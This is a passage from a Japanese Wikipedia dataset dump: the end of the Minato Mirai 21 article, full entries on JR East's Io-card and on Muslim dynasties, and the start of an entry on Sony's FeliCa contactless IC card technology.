[[決選投票]]は「赤い靴シティ」と「みなとみらい21」で行われた。なお、「みなとみらい21」の名称は一次選考では落選しており、二次選考の委員から再度発掘されたものである(特に二次選考委員であった[[柳原良平]]が「横浜といえば[[港町]]である」という理由で強く推したことによる)<ref name="hamarepo141213-mm"/><ref name="yokohama-himitsu160509"/><ref>[http://mytown.asahi.com/kanagawa/news.php?k_id=15000281211070001 海風という季節:「みなとみらい」通勤電車で命名](朝日新聞{{small|〈神奈川版〉}} 2012年11月7日/記事のアーカイブ{{small|([[ウェイバックマシン|Wayback Machine]])}}:[https://web.archive.org/web/20130702211003/http://www.asahi.com/area/kanagawa/articles/MTW20121107150280001.html Archived - July 2, 2013])</ref><ref name="withnews150819">[http://withnews.jp/article/f0150819006qq000000000000000G0010401qq000012400A 柳原良平さん死去 トリス通して庶民描く みなとみらい愛称選定も](withnews 2015年8月19日/[[archive.is|archive.today]]による[https://archive.is/bsW71 2015年9月16日時点のアーカイブ])</ref>。
== 受賞歴 ==
* 1997年に[[都市景観100選]]を受賞している。
* [[横浜高速鉄道みなとみらい線|みなとみらい線]]の駅のデザインで2004年度[[グッドデザイン賞]](建築・環境デザイン部門)を受賞。また、2006年には「横浜市の一連の都市デザイン」で同賞を受賞している。
== その他 ==
* みなとみらい中央地区の広範囲における町名、住所表記としても'''[[みなとみらい]]'''が使用されている。
* [[2009年]]4月に設立された'''一般社団法人横浜みなとみらい21'''は、同地域における土地や建物の所有者、施設の管理・運営者などによって構成され、街づくりの企画・調整、[[宣伝|プロモーション]]活動などを行っている<ref>[http://www.minatomirai21.com/aboutus/ 一般社団法人横浜みなとみらい21のご案内](横浜みなとみらい21公式ウェブサイト)</ref>。前身は横浜市、神奈川県、独立行政法人[[都市再生機構]](UR都市機構、旧:都市基盤整備公団)、地権者、地元経済界の出資により作られた[[第三セクター]]の'''株式会社横浜みなとみらい21'''(同年3月解散)である。
== 脚注 ==
{{脚注ヘルプ}}
=== 注釈 ===
{{Reflist|group=注}}
=== 出典 ===
{{Reflist|2}}
== 関連項目 ==
{{ウィキポータルリンク|横浜市|[[File:Emblem of Yokohama, Kanagawa.svg|45px|Portal:横浜市]]}}
{{Commonscat|Minato_Mirai_21}}
* [[高島 (横浜市)|高島]]
* [[桜木町]]
* [[ポートサイド地区]]
* [[山下臨港線プロムナード]]
* [[東横フラワー緑道#関連する遊歩道整備計画|東横線跡地遊歩道]](廃線跡の遊歩道整備、''名称未定'')
* [[大さん橋]]
* [[山下公園]]([[横浜マリンタワー]])
* [[港の見える丘公園]]
* [[伊勢山皇大神宮]] - 横浜の総鎮守。みなとみらい地区を見下ろす高台に鎮座する。
* [[臨港幹線道路|横浜港臨港幹線道路]]
* [[横浜ベイブリッジ]]
* [[横浜博覧会]]
* [[横浜駅#エキサイトよこはま22(横浜駅周辺大改造計画)|エキサイトよこはま22]](横浜駅周辺大改造計画)
* [[横浜の都市デザイン]]
* [[ウォーターフロント]]
* [[都市計画]]
* [[都心#東京隣県の拠点地区|新都心]]
** [[さいたま新都心]]
** [[幕張新都心]]
* [[東京臨海副都心]]([[お台場]]・[[有明 (江東区)|有明]])
* [[神戸ハーバーランド]]
* [[ポートアイランド]]
* [[天保山ハーバービレッジ]]
== 外部リンク ==
* [https://minatomirai21.com/ 横浜みなとみらい21公式ウェブサイト] - 一般社団法人横浜みなとみらい21
** [https://www.ymm21.jp/ みなとみらいエリアマネジメント公式サイト](MM.A.M.) - 当地区の街づくりなどに関するページ
** [https://www.ymm21.jp/about/information.html みなとみらい21インフォメーション] - 当地区の計画概要や個別事業に関する情報誌(年1回発行)
* [https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/mm21/ みなとみらい21地区のまちづくり] > [https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/mm21/mm21.html お知らせ](横浜市都市整備局)
* [https://www.city.yokohama.lg.jp/business/bunyabetsu/kowan/mirai21/koubo.html みなとみらい21地区 公募情報](横浜市港湾局)
* [https://www.city.yokohama.lg.jp/city-info/zaisei/shiyuchi/jouho/hoyutochi/mirai21/ みなとみらい21地区の公募売却](横浜市財政局)
* [https://www.city.yokohama.lg.jp/business/keizai/yuchi/ 企業誘致・立地](横浜市経済局)
* 横浜市広報・記者発表:[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/toshi/ 都市整備局]/[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/kowan/ 港湾局]/[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/zaisei/ 財政局]/[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/keizai/ 経済局] - 各局管轄に関する新着情報
{{Yokohama Minatomirai21}}
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6,843 | イオカード | イオカードは、かつて東日本旅客鉄道(JR東日本)より発売された磁気式プリペイド乗車カードである。1991年に発売開始された。2004年に販売終了、2005年に自動改札の取り扱いを終了した。なお、2023年現在も、残金の払い戻しは行なっている。
利用範囲内の駅であれば、自動改札機にこのカードを直接通すだけで運賃が自動的に精算され、そのまま通ることができたほか、オレンジカードと同様に自動券売機での近距離乗車券類の購入や、自動精算機での乗り越し精算に利用することも可能である。
最盛期の2001年(平成13年)度には868億円の売り上げがあり、オレンジカードの最盛期(1991年度)の約2.5倍の売り上げにまで成長した。
現在はICカードの「Suica」に移行し、カードの新規発売と自動改札機での利用が終了している。自動券売機・自動精算機では現在も引き続き利用が可能。
なお、Suicaのうち主に2007年3月17日以前に発行された、記名機能および定期券機能がつけられない乗車カードについてはSuicaイオカードと呼ばれている。
本項では磁気式イオカードについて解説する。
関東圏のJR東日本の駅の自動改札機に直接カードを投入して運賃精算ができた他、自動券売機での乗車券類の購入や、自動精算機での乗り越し精算もできた。ただし、入場券としての利用はできなかった。直接入って(in)直接出る(out)ことができるということで、"io-card"と名付けられた。
日本初のストアードフェアシステムである。複数事業者間の相互決済が可能な仕組みは持っておらず、Jスルー、スルッとKANSAI、パスネットのようなシステム自体の名称はなかった。
多種・多様な柄が発売されていたオレンジカードをイオカードと誤認して、自動改札に投入しないよう、当初イオカードロゴを大きく表示した3,000円と5,000円の基本柄(タテ・ヨコ)のみ発売されていた。基本柄のうちタテ柄は比較的早く発売を中止し、ヨコ柄のみが発売されていたが、イオカードの普及に伴いオレンジカードの発売が減少したこと、大規模催事に伴う自動券売機の混雑緩和を狙い、1993年の第30回東京モーターショー記念イオカード(1,000円券)から各種企画柄の発売が開始された。当初はイオカード使用上の諸注意事項を裏面に記載できる1,000円のみであったが、3,000円と5,000円券についても表面のスペースのうち約1/3を割いて諸注意事項を表示することで企画柄を発売していた。企画柄の普及に伴いヨコ型基本柄の発売は終了した。
1991年3月1日に山手線内の一部の駅の相互間で使用を開始し、以後順次エリアを拡大し、最終的に東京近郊区間内の自動改札機設置駅で使用できるようになった。
自動改札機を設置していない改札口や、駅業務が他社に委託されている駅では使用できなかったか使用できるようになるまで時間を要した(例:八丁畷駅、厚木駅、小川町駅、新横浜駅、分倍河原駅、高尾駅南口、新宿駅京王口など)。
パスネットは先行するイオカードに合わせて仕様が決められたが、JR東日本はICカード(Suica)を開発中との理由でパスネット(パスネット協議会)に参加しなかった。北千住駅と綾瀬駅の自動精算機では、最終利用路線がJR線である場合の運賃の精算にイオカードを使用することができた。また、両駅共自動改札機での使用が可能であった(同駅間相互発着含む)。
裏面には、乗車記録を印字する場所が確保されていた。発売当初は乗車月日・時間・駅、前引き運賃を印字されていたが、1996年2月から7月に掛けて乗車月日・駅、前引き運賃、降車駅、残額といった印字方法に変わった。ただし、パスネットと異なり、自動券売機や自動精算機での利用時は印字がされない。このことは使用方法にも記載されていた。したがって、自動改札機での使用が不可能となった現在では印字手段がない。
偽造の危険性や、Suicaの利用可能地域・用途の拡大による普及に伴う需要の減少から、磁気カード式のイオカードは2005年3月31日で発売が終了された。販売済みのイオカードは翌2006年2月10日の最終列車をもって自動改札機での使用を終了し、翌11日の始発からは自動改札機の矢印の下にあるiOマークが消え、同時に投入口の周辺に「磁気式イオカードはご利用になれません」というステッカーが貼付された(現在は自動改札機自体が更新されている)。ただし、自動券売機や自動精算機では引き続き使用ができる他、残額をJR東日本の首都圏の主な駅のみどりの窓口で現金にて無手数料で払い戻しできる。なお、払い戻された元のカードは返却されない。
また、上記の千代田線綾瀬駅・北千住駅での精算にイオカードが使用できる点については、2007年3月18日の東京地下鉄のPASMO導入・Suicaとの相互利用開始により、同カードでの同様のメリットが担保された。 | [
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| イオカードは、かつて東日本旅客鉄道(JR東日本)より発売された磁気式プリペイド乗車カードである。1991年に発売開始された。2004年に販売終了、2005年に自動改札の取り扱いを終了した。なお、2023年現在も、残金の払い戻しは行なっている。 利用範囲内の駅であれば、自動改札機にこのカードを直接通すだけで運賃が自動的に精算され、そのまま通ることができたほか、オレンジカードと同様に自動券売機での近距離乗車券類の購入や、自動精算機での乗り越し精算に利用することも可能である。 最盛期の2001年(平成13年)度には868億円の売り上げがあり、オレンジカードの最盛期(1991年度)の約2.5倍の売り上げにまで成長した。 現在はICカードの「Suica」に移行し、カードの新規発売と自動改札機での利用が終了している。自動券売機・自動精算機では現在も引き続き利用が可能。 なお、Suicaのうち主に2007年3月17日以前に発行された、記名機能および定期券機能がつけられない乗車カードについてはSuicaイオカードと呼ばれている。 本項では磁気式イオカードについて解説する。 | {{混同|イオンカード}}
'''イオカード'''は、かつて[[東日本旅客鉄道]](JR東日本)より発売された[[磁気]]式[[プリペイドカード|プリペイド]][[乗車カード]]である。1991年に発売開始された。2004年に販売終了、2005年に自動改札の取り扱いを終了した。なお、2023年現在も、残金の払い戻しは行なっている。
利用範囲内の駅であれば、[[自動改札機]]にこのカードを直接通すだけで運賃が自動的に精算され、そのまま通ることができたほか、[[オレンジカード]]と同様に[[自動券売機]]での近距離[[乗車券]]類の購入や、[[自動精算機]]での乗り越し精算に利用することも可能である。
最盛期の[[2001年]]([[平成]]13年)度には868億円の売り上げがあり、オレンジカードの最盛期(1991年度)の約2.5倍の売り上げにまで成長した。
現在は[[ICカード]]の「[[Suica]]」に移行し、カードの新規発売と自動改札機での利用が終了している。自動券売機・自動精算機では現在も引き続き利用が可能。
なお、Suicaのうち主に[[2007年]][[3月17日]]以前に発行された、記名機能および定期券機能がつけられない乗車カードについては'''Suicaイオカード'''と呼ばれている。
本項では'''磁気式イオカード'''について解説する。
== 概要 ==
[[画像:IOcardSuica_06x0400.jpg|thumb|right|磁気式イオカードに対応していた頃の[[自動改札機]](写真左端)。右側はこの頃から設置され始め、近年増加傾向にある[[Suica]]専用の改札機。磁気式イオカードの対応の可否(現在は使用不可)によって正面のLEDの表示が異なっている。(武蔵新城駅にて2006年2月10日撮影)]]
[[関東地方|関東圏]]のJR東日本の駅の自動改札機に直接カードを投入して運賃精算ができた他、自動券売機での乗車券類の購入や、自動精算機での乗り越し精算もできた。ただし、[[入場券]]としての利用はできなかった。直接入って(in)直接出る(out)ことができるということで、"'''io-card'''"と名付けられた。
日本初の[[ストアードフェアシステム]]である。複数事業者間の相互決済が可能な仕組みは持っておらず、[[Jスルー]]、[[スルッとKANSAI]]、[[パスネット]]のようなシステム自体の名称はなかった。
多種・多様な柄が発売されていた[[オレンジカード]]をイオカードと誤認して、自動改札に投入しないよう、当初イオカードロゴを大きく表示した3,000円と5,000円の基本柄(タテ・ヨコ)のみ発売されていた。基本柄のうちタテ柄は比較的早く発売を中止し、ヨコ柄のみが発売されていたが、イオカードの普及に伴いオレンジカードの発売が減少したこと、大規模催事に伴う自動券売機の混雑緩和を狙い、1993年の第30回[[東京モーターショー]]記念イオカード(1,000円券)から各種企画柄の発売が開始された。当初はイオカード使用上の諸注意事項を裏面に記載できる1,000円のみであったが、3,000円と5,000円券についても表面のスペースのうち約1/3を割いて諸注意事項を表示することで企画柄を発売していた。企画柄の普及に伴いヨコ型基本柄の発売は終了した。
[[1991年]][[3月1日]]<ref>{{Cite news |title=JR7社14年のあゆみ |newspaper=[[交通新聞]] |publisher=交通新聞社 |date=2001-04-02 |page=9 }}</ref>に[[山手線]]内の一部の駅の相互間で使用を開始し、以後順次エリアを拡大し、最終的に[[大都市近郊区間 (JR)|東京近郊区間]]内の自動改札機設置駅で使用できるようになった。
自動改札機を設置していない改札口や、駅業務が他社に委託されている駅では使用できなかったか使用できるようになるまで時間を要した(例:[[八丁畷駅]]、[[厚木駅]]、[[小川町駅 (埼玉県)|小川町駅]]、[[新横浜駅]]、[[分倍河原駅]]、[[高尾駅_(東京都)|高尾駅]]南口、[[新宿駅]]京王口、[[綾瀬駅]])。
[[パスネット]]は先行するイオカードに合わせて仕様が決められたが、JR東日本はICカード([[Suica]])を開発中との理由でパスネット(パスネット協議会)に参加しなかった。[[北千住駅]]と[[綾瀬駅]]の自動精算機では、最終利用路線がJR線である場合の運賃の精算にイオカードを使用することができた。また、両駅共自動改札機での使用が可能であった(同駅間相互発着含む)。
裏面には、乗車記録を印字する場所が確保されていた。発売当初は乗車月日・時間・駅、前引き運賃を印字されていたが、[[1996年]]2月から7月に掛けて乗車月日・駅、前引き運賃、降車駅、残額といった印字方法に変わった。ただし、パスネットと異なり、自動券売機や自動精算機での利用時は印字がされない。このことは使用方法にも記載されていた。したがって、自動改札機での使用が不可能となった現在では印字手段がない。
== 発売終了 ==
偽造の危険性や、Suicaの利用可能地域・用途の拡大による普及に伴う需要の減少から、磁気カード式のイオカードは[[2005年]][[3月31日]]で発売が終了された<ref>{{PDFlink|[http://www.jreast.co.jp/press/2004_2/20041205.pdf イオカード(磁気式)の発売終了について]}} - 2004年12月9日(東日本旅客鉄道のプレスリリース)</ref>。販売済みのイオカードは翌[[2006年]][[2月10日]]の最終列車をもって自動改札機での使用を終了し、翌[[2月11日|11日]]の[[始発]]からは自動改札機の矢印の下にある{{Color|green|'''iO'''}}マークが消え、同時に投入口の周辺に'''「磁気式イオカードはご利用になれません」'''というステッカーが貼付された<ref>{{PDFlink|[http://www.jreast.co.jp/press/2005_2/20051107.pdf イオカード(磁気式)の自動改札利用停止について]}} - 2005年11月9日(東日本旅客鉄道のプレスリリース)</ref>(現在は自動改札機自体が更新されている)。ただし、自動券売機や自動精算機では引き続き使用ができる他、残額をJR東日本の首都圏の主な駅の[[みどりの窓口]]で現金にて無手数料で払い戻しできる。なお、払い戻された元のカードは返却されない<ref>{{PDFlink|[http://www.jreast.co.jp/oshirase/pdf/20080301.pdf イオカード(磁気式)の払い戻し箇所について]}} - 2008年3月18日(東日本旅客鉄道のプレスリリース)</ref>。
また、上記の千代田線綾瀬駅・北千住駅での精算にイオカードが使用できる点については、[[2007年]][[3月18日]]の[[東京地下鉄]]の[[PASMO]]導入・[[首都圏ICカード相互利用サービス|Suicaとの相互利用]]開始により、同カードでの同様のメリットが担保された。
==脚注==
{{脚注ヘルプ}}
{{Reflist}}
==関連項目==
*[[オレンジカード]]
*[[Jスルーカード]] - [[西日本旅客鉄道]](JR西日本)の磁気式乗車カード
*[[ワイワイカード]] - [[九州旅客鉄道]](JR九州)の磁気式乗車カード
*[[パスネット]] - 関東[[私鉄]]各社の[[ストアードフェアシステム]]
*[[Suica]]
== 外部リンク ==
* [https://www.jreast.co.jp/oshirase/io-card.html イオカード(磁気式)についてのお知らせ] - JR東日本
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[[category:乗車カード|いおかあと]]
[[Category:廃止されたプリペイドカード]]
[[category:東日本旅客鉄道の商品|いおかあと]] | 2003-04-17T04:20:38Z | 2023-09-02T02:38:04Z | false | false | false | [
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| https://ja.wikipedia.org/wiki/%E3%82%A4%E3%82%AA%E3%82%AB%E3%83%BC%E3%83%89 |
6,844 | イスラム王朝 | イスラム王朝(イスラムおうちょう、英: Muslim Dynasties)とは、ムスリム(イスラム教徒)の皇帝や国王が支配する国家の総称である。
ムハンマドの指導によりムスリムたちがイスラム教の教えの下に結束して、アラビア地域をはじめとする西アジア周辺のオリエント全域にアラブ人たちが興した国が最初で、分裂したり、新たに建国されたり、征服活動や貿易活動などにより、やがて様々な地域のアラブ人以外の人種にもイスラム教が伝播し、北アフリカ、東アフリカ、西アフリカ、中央アジア(トルキスタン)、スペイン、インド、マレーシア、インドネシアにもイスラム王朝が誕生した。それぞれの王朝ごとに1人の君主を置き君主制を敷いている。
現在もムスリムが支配する王朝が存在している。ただし君主国が自国名を王朝名で名乗らないことがほとんどで、例外がサウジアラビア(サウード王家のアラビア国)である。
「王朝」は基本的には血族や養子縁組による世襲君主制の君主の系列を指す(ただし厳密ではない)が、かつて、ムハンマドの死後に立てられた唯一のカリフの元に、ほとんどのムスリムを結集して8世紀に最大規模となったイスラム王朝の勢力と領土があり、その後に衰退して滅亡した王朝をイスラム帝国と呼称している。
イスラム帝国は、4代のうち3代のカリフが暗殺されて30年弱で終焉した正統カリフ時代と、後にシーア派と呼ばれる一部のムスリムの分裂を招いたまま約90年間の統治が続いたウマイヤ朝時代とを経て、アッバース革命によりそれまで従属民としていたペルシア人が影響力を増したアッバース朝時代では、8世紀までに中東地域を中心とした最大勢力を築いた。この時代には唐にも大食の呼称で知られていた。ヨーロッパは帝国を脅威としながらも交易を通じて交流し、特に南アジアや東南アジアについての見識を深めることになった。だが、帝国は次第に内紛によってカリフの権威が失墜、多くのムスリムの離反を招き、帝国に属さないイスラム王朝が勃興した。王朝は13世紀に台頭したモンゴルによって滅ぼされた。以来、このイスラム帝国を上回る規模で統一されたイスラム王朝は現れていない。
西アジア周辺ではイスラム教による厳格な律法が支配し、異教徒に対する団結とジハードが徹底して行われ、逆にムスリム同士及び服従した属領との間であれば寛容な政策が行われることがほぼ共通していた。そのため、ユーラシア大陸のほぼ中央を支配していた地の利も幸いして文物の交流が空前の規模で行われ、イスラムの諸帝国は世界の他の地域に比べ抜きんでた発展を遂げた。これはキリスト教文化に対峙するほどのイスラム教文化が世界の広い地域に広がり、深刻な対立となる一方で、その技術や科学、思想は異教世界にも広がり、ヨーロッパのルネッサンスやインドのシク教などのきっかけともなった。 | [
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| イスラム王朝とは、ムスリム(イスラム教徒)の皇帝や国王が支配する国家の総称である。 | {{Islam}}
'''イスラム王朝'''(イスラムおうちょう、{{lang-en-short|Muslim Dynasties}})とは、[[ムスリム]](イスラム教徒)の[[皇帝]]や[[国王]]が支配する国家の総称である。
==概要==
[[ムハンマド]]の指導によりムスリムたちが[[イスラム教]]の教えの下に結束して、[[アラビア半島|アラビア]]地域をはじめとする[[西アジア]]周辺の[[オリエント]]全域に[[アラブ人]]たちが興した国が最初で、分裂したり、新たに建国されたり、征服活動や貿易活動などにより、やがて様々な地域のアラブ人以外の人種にもイスラム教が伝播し、[[北アフリカ]]、[[東アフリカ]]、[[西アフリカ]]、[[中央アジア]]([[トルキスタン]])、[[スペイン]]、[[インド]]、[[マレーシア]]、[[インドネシア]]にもイスラム王朝が誕生した。それぞれの王朝ごとに1人の[[君主]]を置き[[君主制]]を敷いている。
現在もムスリムが支配する王朝が存在している。ただし君主国が自国名を王朝名で名乗らないことがほとんどで、例外が[[サウジアラビア]](サウード王家のアラビア国)である。
== イスラム帝国 ==
「王朝」は基本的には[[血族]]や[[養子縁組]]による[[世襲君主制]]の君主の系列を指す(ただし厳密ではない)が、かつて、ムハンマドの死後に立てられた唯一の[[カリフ]]の元に、ほとんどのムスリムを結集して8世紀に最大規模となったイスラム王朝の勢力と領土があり、その後に衰退して滅亡した王朝を'''[[イスラム帝国]]'''と呼称している。
イスラム帝国は、4代のうち3代のカリフが暗殺されて30年弱で終焉した[[正統カリフ]]時代と、後に[[シーア派]]と呼ばれる一部のムスリムの分裂を招いたまま約90年間の統治が続いた[[ウマイヤ朝]]時代とを経て、[[アッバース革命]]によりそれまで従属民としていた[[ペルシア人]]が影響力を増した[[アッバース朝]]時代では、8世紀までに[[中東|中東地域]]を中心とした最大勢力を築いた。この時代には[[唐]]にも'''[[:zh:大食|大食]]'''の呼称で知られていた。ヨーロッパは帝国を脅威としながらも交易を通じて交流し、特に[[南アジア]]や[[東南アジア]]についての見識を深めることになった。だが、帝国は次第に内紛によってカリフの権威が失墜、多くのムスリムの離反を招き、帝国に属さないイスラム王朝が勃興した。王朝は13世紀に台頭した[[モンゴル]]によって滅ぼされた。以来、このイスラム帝国を上回る規模で統一されたイスラム王朝は現れていない。
西アジア周辺ではイスラム教による厳格な律法が支配し、[[異教徒]]に対する団結と[[ジハード]]が徹底して行われ、逆にムスリム同士及び服従した属領との間であれば寛容な政策が行われることがほぼ共通していた。そのため、[[ユーラシア大陸]]のほぼ中央を支配していた地の利も幸いして文物の交流が空前の規模で行われ、イスラムの諸帝国は世界の他の地域に比べ抜きんでた発展を遂げた。これは[[キリスト教]]文化に対峙するほどのイスラム教文化が世界の広い地域に広がり、深刻な対立となる一方で、その技術や科学、思想は異教世界にも広がり、ヨーロッパの[[ルネサンス|ルネッサンス]]やインドの[[シク教]]などのきっかけともなった。
==イスラム王朝一覧==
===西アジア・中央アジア(トルキスタン)===
{{Columns-list|colwidth=30em|
* [[正統カリフ|正統カリフ4代]]
* [[ウマイヤ朝]]
* [[アッバース朝]]
* [[ターヒル朝]]
* [[カラハン朝]]
* [[アラヴィー朝]]
* [[サーマーン朝]]
* [[サッファール朝]]
* [[ズィヤール朝]]
* [[ブワイフ朝]]
* {{仮リンク|マルワーン朝|en|Marwanids}}
* {{仮リンク|ウカイル朝|en|Uqaylid dynasty}}
* [[大セルジューク朝]](セルジューク帝国)
** [[セルジューク朝]]
** [[ルーム・セルジューク朝]]
** [[シリア・セルジューク朝]]
** [[ケルマーン・セルジューク朝]]
** [[イラク・セルジューク朝]]
* [[イルデニズ朝]]
* [[ホラズム・シャー朝]]
* [[アルトゥク朝]]
* [[ブーリー朝]]
* [[ザンギー朝]]
* [[イルハン朝]]
* [[ベイリク]]
* [[オスマン帝国]]
* [[ムザッファル朝]]
* [[ジャライル朝]]
* [[ティムール朝]]
* [[黒羊朝]]
* [[白羊朝]]
* [[サファヴィー朝]]
* [[イラクのマムルーク朝]]
* [[アフシャール朝]]
* [[ザンド朝]]
* [[カージャール朝]]
* [[イラク王国]]
* [[:en:Arab Kingdom of Syria|シリア・アラブ王国]]
* [[パフラヴィー朝]]
}}
===アラビア半島===
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* [[ラスール朝]]
* [[オマーン帝国]]
* [[第一次サウード王国]]
* [[第二次サウード王国]]
* [[ジャバル・シャンマル王国]]
* [[ナジュド及びハッサ王国]]
* [[ヒジャーズ王国]]
* [[イエメン王国]]
* [[ナジュド・スルタン国]]
* [[ナジュド及びヒジャーズ王国]]
* [[ヤアーリバ朝]]
* [[ブーサイード朝]]
}}
===北アフリカ・スペイン===
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* [[後ウマイヤ朝]]
* [[タイファ]]
* [[イドリース朝]]
* [[アグラブ朝]]
* [[トゥールーン朝]]
* [[イフシード朝]]
* [[ファーティマ朝]]
* [[ズィール朝]]
* [[ハンマード朝]]
* [[ムラービト朝]]
* [[ムワッヒド朝]]
* [[アイユーブ朝]]
* [[マリーン朝]]
* [[ハフス朝]]
* [[ナスル朝]]
* [[ザイヤーン朝]]
* [[マムルーク朝]]
* [[ワッタース朝]]
* [[サアド朝]]
* [[アラウィー朝]]
* [[カラマンリー朝]]
* [[フサイン朝]]
* [[ムハンマド・アリー朝]]
* [[エジプト王国]]
* [[リビア王国]]
* [[チュニジア王国]]
}}
===西アフリカ===
* [[マリ帝国]]
* [[ソンガイ帝国|スンニ朝]]
===東アフリカ===
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* [[:en:Sultanate of Mogadishu|モガディシュのスルタン国]](10{{Ndash}}16世紀)
* [[イファト・スルタン国]](1285年{{Ndash}}1415年)
* [[:en:Warsangali Sultanate|ワルサンガリ・スルタン国]](1298年{{Ndash}}現存)
* [[アダル・スルタン国]](1415年?{{Ndash}}1555年)
* [[:en:Walashma dynasty|ワラシュマ王朝]](14{{Ndash}}16世紀)
* [[アジュラーン・スルタン国]](14{{Ndash}}17世紀)
* [[オーッサ・スルタン国]](16世紀{{Ndash}}現存)
* [[ハラルの族長の一覧|ハラルの族長]](1647年{{Ndash}}1887年)
* [[:en:Mudaito dynasty|ムダイト王朝]](1734年{{Ndash}}現存)
* [[ゲレディ・スルタン国]](18{{Ndash}}19世紀)
* [[:en:Majeerteen Sultanate|マジェールテーン・スルタン国]](18世紀中期{{Ndash}}20世紀初期)
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* [[ジマ王国]](1830年{{Ndash}}1932年)
* [[ゴム王国]](1840年{{Ndash}}1902年)
* [[:en:Sultanate of Hobyo|ホビョのスルタン国]](19世紀{{Ndash}}1925年)
* [[:en:Dervish movement (Somali)|ソマリ・ダルヴィーシュ運動]](1896年{{Ndash}}1920年)
}}
===インド洋===
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}}
* [[モルディブ・スルターン国]]
===南アジア===
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* [[ガズナ朝]]
* [[ゴール朝]]
* [[クルト朝]]
* [[ホータキー朝]]
* [[ドゥッラーニー朝]]
* [[バーラクザイ朝]]
* [[デリー・スルターン朝]]
* [[奴隷王朝]]
* [[ハルジー朝]]
* [[トゥグルク朝]]
* [[サイイド朝]]
* [[ローディー朝]]
* [[マドゥライ・スルターン朝]]
* [[ジャウンプル・スルターン朝]]
* [[バフマニー朝]]
* [[グジャラート・スルターン朝]]
* [[マールワー・スルターン朝]]
* [[ベンガル・スルターン朝]]
* [[カシュミール・スルターン朝]]
* [[デカン・スルターン朝]]
* [[ビジャープル王国]]
* [[ベラール王国]]
* [[ビーダル王国]]
* [[アフマドナガル王国]]
* [[ゴールコンダ王国]]
* [[ムガル帝国]]
* [[スール朝]]
* [[アワド太守]]
* [[ベンガル太守]]
* [[カルナータカ太守]]
* [[ニザーム王国]]
}}
===東南アジア===
* [[マラッカ王国]]
* [[パタニ王国]]
* [[ジョホール王国]]
* [[ケダ州|クダ・スルタン国]]
* [[トレンガヌ州|トレンガヌ・スルタン国]]
* [[プルリス州|プルリス・ラージャ国]]
* [[セランゴール州|セランゴール・スルタン国]]
* [[パハン州|パハン・スルタン国]]
* [[ペラ州|ペラ・スルタン国]]
* [[ヌグリ・スンビラン州|ヌグリ・スンビラン王国]]
* [[:en:Sultanate of Sarawak|サラワク・スルタン国]]
* [[ブルネイ帝国]]
* [[:en:Pontianak Sultanate|ポンティアナック・スルタン国]]
* [[:en:Maynila (historical polity)|マニラのラージャ]]
* [[:en:Cebu (historical polity)|セブのラージャ]]
* [[:en:Tondo (historical polity)|トンド王国]]
* [[スールー王国]]
* [[マギンダナオ王国]]
* [[サムドラ・パサイ王国]]
* [[ドゥマク王国]]
* [[バンテン王国]]
* [[アチェ王国]]
* [[マタラム王国|新マタラム王国]]
* [[ジョグジャカルタ特別州|ジョグジャカルタのスルターン]]
* [[スラカルタ|スラカルタのスルターン]]
* [[:en:Sultanate of Cirebon|チルボン・スルタン国]]
* [[テルナテ王国]]
== 脚注 ==
{{脚注ヘルプ}}
; 注
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=== 出典 ===
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==関連項目==
* [[イスラーム用語一覧]]
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[[Category:イスラム王朝|*]]
[[Category:イスラム世界史]]
[[Category:王朝|いすらむ]]
[[en:List of Muslim dynasties]] | 2003-04-17T04:41:16Z | 2023-09-04T15:26:28Z | false | false | false | [
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| https://ja.wikipedia.org/wiki/%E3%82%A4%E3%82%B9%E3%83%A9%E3%83%A0%E7%8E%8B%E6%9C%9D |
6,845 | FeliCa | FeliCa(フェリカ)は、ソニー(後のソニーイメージングプロダクツ&ソリューションズを経て2代目ソニー=旧:ソニーモバイルコミュニケーションズ)が開発した非接触型ICカードの技術方式、および同社の登録商標である。
名称は、「至福」を意味する「Felicity」と「Card」を組み合わせたかばん語として、「至福をもたらすカード」という意味が込められている。
FeliCaは、非接触型ICカードのための通信技術として、ソニーが開発した。 非接触型ICカードは、リーダ・ライタからキャリアを送信して電磁誘導によりICカードに電力を供給し、キャリアの変調によりリーダ・ライタとカード間で通信を行う。例えばISO/IEC 14443で規格化されているTYPE B方式は、ASK10%で変調を行い、NRZ符号を採用しているのに対してFeliCaの方式は変調がASK10%と同じであるが、マンチェスタ符号を採用しているところが異なる。
当初、国際標準化機構にISO/IEC 14443 TYPE Cとして提案を行った。同時にTYPE D〜Gまでが提案されたが「近距離無線通信規格の乱立になる」として、国際規格議論が停止され採用されなかった。その後、FeliCaと上位互換性のある方式がISO/IEC 18092 (Near Field Communication, NFC TYPE-F) として規格化された。日本では、JICSAP(一般社団法人 ID認証技術推進協会) ICカード仕様V2.0「第4部 高速処理用ICカード」や、日本鉄道サイバネティクス協議会でのICカード規定として規格化されている。
FeliCaは通常のICカードと同様に、キャッシュカードやIDカードなどに適用可能な技術である。特に高速処理が求められる、自動改札機や建物入館のセキュリティゲートや、キャッシュレジスターのアプリケーション向けに特化したコマンド体系になっている。そのため、ISO 7816-3の基本コマンドとは互換性はない。また、ICチップ内部のメモリは16バイト固定長のレコードのみがサポートされていて、ISO/IEC 7816-3(英語版)で規定されているファイル構造との互換性はない。
暗号処理としては、相互認証にトリプルDES、通信路にDESもしくはトリプルDESを利用している。Dualカードタイプ(接触/非接触)では公開鍵暗号方式の処理が可能なものがある。
2011年6月には、相互認証と通信路にAESも利用できるFeliCaチップが発表された。
1枚のカード(1つのチップ)に乗車カード、電子マネー、社員証など複数のサービスを搭載可能であるが、サービス利用時には、個々のサービス毎にアクセス鍵(共通鍵)を使って相互認証を行うのではなく、複数のアクセス鍵から「縮退鍵」と呼ばれる暗号化された鍵を合成し、この縮退鍵を用いて、一度に最大16のサービスについて相互認証することが可能となっている。縮退された鍵から元の鍵は生成できない。このことから、セキュリティレベルを落とすことなく処理速度の高速化を実現している。
前述の通り国際標準化戦略に遅れをとったことから、世界的にはNFC Type A/Bの方が普及しておりガラパゴス化のひとつともされる。
FeliCaチップは、ICカードのICチップとして使用される他、携帯電話や腕時計などでFeliCaチップを搭載したものがある。
当初はソニーでのみ製造されていたが、インフィニオン・テクノロジーズと共同開発(2001年11月発表)、日立製作所の採用(2002年6月発表)など、複数のチップメーカーが供給できるようになった。
